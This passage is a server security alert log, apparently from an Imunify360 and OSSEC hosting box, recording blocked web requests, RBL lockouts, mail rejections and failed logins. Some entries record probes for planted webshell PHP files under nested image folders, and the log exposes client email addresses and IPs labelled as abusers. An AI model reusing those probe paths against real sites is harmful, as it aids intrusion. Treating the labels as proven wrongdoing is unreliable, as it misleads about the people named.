IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/mdi-font/css/material-design-iconic-font.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.220.3.101
country_id: 226074
description:
Jan 21 06:19:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.220.3.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-21 06:19:39 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:17746: 535 Incorrect authentication data (set_id=shinwen.ong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 06:20:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 107.174.235.180
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-23.107.174.235.180||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.204
country_id: 2963597
description:
Jan 21 06:24:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 06:25:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.53.161.136
country_id: 1814991
description:
Jan 21 06:26:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.53.161.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 06:25:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 199.91.162.55
country_id: 3570311
description:
Jan 21 06:28:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 199.91.162.55 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 199.91.162.55
country_id: 3570311
description:
Jan 21 06:29:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 199.91.162.55 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 173.214.176.220
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-32.173.214.176.220||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.168.138.138
country_id: 3996063
description:
Jan 21 06:32:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.168.138.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 06:33:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.174.178.228
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=61011515552298 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.205.220.111
country_id: 3469034
description:
Jan 21 06:33:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.205.220.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.229
country_id: 3865483
description:
Jan 21 06:33:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.229 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.191
country_id: 732800
description:
Jan 21 06:34:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.191 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.60.130.227
country_id: 130758
description:
2026-01-21 06:35:15 H=([62.60.130.227]) [62.60.130.227]:51738 F=<mcinfo@ups.com> rejected RCPT <prayerlink@agpc.org.my>: SPF: 62.60.130.227 is not allowed to send mail from ups.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 06:34:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.10
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/sysusers.d/rtkit.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 06:37:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.23.79
country_id: 1562822
domain: usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/usfood.com.my/product-details.php?id=644791 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.254.248.186
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=16361516694270 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.9.211
country_id: 3865483
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=513447 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 06:42:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 06:49:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.48.0.122
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/need/9/281/931972 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.14.208
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=73101514882335 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 06:53:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.229.156.196
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=241640 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.28
country_id: 1269750
description:
Jan 21 06:53:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.28
country_id: 1269750
description:
Jan 21 06:54:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.50.237
country_id: 3175395
description:
Jan 21 06:55:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.50.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 06:55:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.50.237
country_id: 3175395
description:
Jan 21 06:55:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.50.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 06:59:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.95.149
country_id: 1861060
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Multi L/Multi Purpose  L-1-120x120.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.95.149
country_id: 1861060
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/Image/Products/Multi L/Multi Purpose  L-1-120x120.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 07:04:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.189
country_id: 3865483
description:
Jan 21 07:09:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.189 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/residential/images/druma.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 194.165.16.165
country_id: 2993457
description:
2026-01-21  7:17:50 455485 [Warning] Aborted connection 455485 to db: 'unconnected' user: 'unauthenticated' host: '194.165.16.165' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.56.97.151
country_id: 1814991
description:
Jan 21 07:17:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.56.97.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 07:17:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.191.145.123
country_id: 1814991
description:
Jan 21 07:18:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.191.145.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.33.79
country_id: 1819730
description:
Jan 21 07:20:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.33.79 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/img/photos/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.153.174.18
country_id: 298795
description:
Jan 21 07:22:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.153.174.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.179.255.54
country_id: 1814991
description:
Jan 21 07:22:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.179.255.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 07:22:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.160.112
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:07-24.152.232.160.112||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.10
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/lib/sysusers.d/samba.conf||User:root||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.161
country_id: 3469034
description:
Jan 21 07:25:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.161
country_id: 3469034
description:
Jan 21 07:26:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 07:27:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.167.21.163
country_id: 1562822
domain: www.tptec.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tptec.com.my/images/1.jpeg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 07:29:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 107.174.233.221
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:07-31.107.174.233.221||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.167.126.38
country_id: 3686110
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&page_id=1&sub=35 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.104.1
country_id: 3469034
description:
Jan 21 07:36:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.104.1 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.36
country_id: 732800
description:
Jan 21 07:36:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 07:38:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 07:40:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.105.160
country_id: 3469034
description:
Jan 21 07:41:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.105.160 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.249.190.4
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=16 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.105.160
country_id: 3469034
description:
Jan 21 07:42:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.105.160 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.203.216.243
country_id: 6252001
domain: aircarbonic.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:172.203.216.243||TA:172.203.216.243||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-21 07:43:34 H=([46.151.182.48]) [46.151.182.48]:52073 F=<mailerd@astlog.com.my> rejected RCPT <astpkg@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 07:44:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.46.133
country_id: 2395170
description:
Jan 21 07:45:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.46.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 07:45:02 H=([45.144.212.242]) [45.144.212.242]:59235 F=<sales@saigonrachgiahotel.vn> rejected RCPT <emma@agsaintifik.com.my>: SPF: 45.144.212.242 is not allowed to send mail from saigonrachgiahotel.vn


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.137.87
country_id: 2963597
description:
Jan 21 07:45:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.137.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.57.140
country_id: 953987
description:
Jan 21 07:46:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.57.140 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.178.49.149
country_id: 3703430
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/mssa/index.php/newsletter/smy-jan-march-2013-2/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.3
country_id: 3469034
description:
Jan 21 07:49:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 07:49:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 07:49:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-21 07:53:32 H=([46.151.182.48]) [46.151.182.48]:63206 F=<mailerd@ktlog.com.my> rejected RCPT <celine@ktlog.com.my>: smtp auth required


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.11
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/alsa/pcm/modem.conf||User:root||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.108
country_id: 6252001
description:
2026-01-21  7:55:28 456970 [Warning] Aborted connection 456970 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.108' (This connection closed normally without authentication)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.2
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/wireplumber/bluetooth.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.70
country_id: 3865483
description:
Jan 21 07:57:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.70 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 183.171.66.56
country_id: 1733045
description:
[2026-01-21 07:57:07 +0800] info [webmaild] 183.171.66.56 - payment@tujusetia.my "GET /cpsess6029145737/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [183.171.69.97] != Current IP Address [183.171.66.56]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 102.88.110.116
country_id: 2328926
domain: www.aoto.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:102.88.110.116||TA:102.88.110.116||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.13.136.104
country_id: 3175395
description:
Jan 21 07:58:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.13.136.104 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 183.171.66.56
country_id: 1733045
description:
[2026-01-21 08:00:26 +0800] info [webmaild] 183.171.66.56 - payment@tujusetia.my "GET /cpsess1108043143/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.213.80.134
country_id: 2510769
description:
Jan 21 08:00:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.213.80.134 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.238.12.24
country_id: 1819730
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/8513259455.jpg&size=262*388 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.213.80.134
country_id: 2510769
description:
Jan 21 08:01:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.213.80.134 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.174.30.139
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/listing-details.php?id=77207722 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 08:02:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
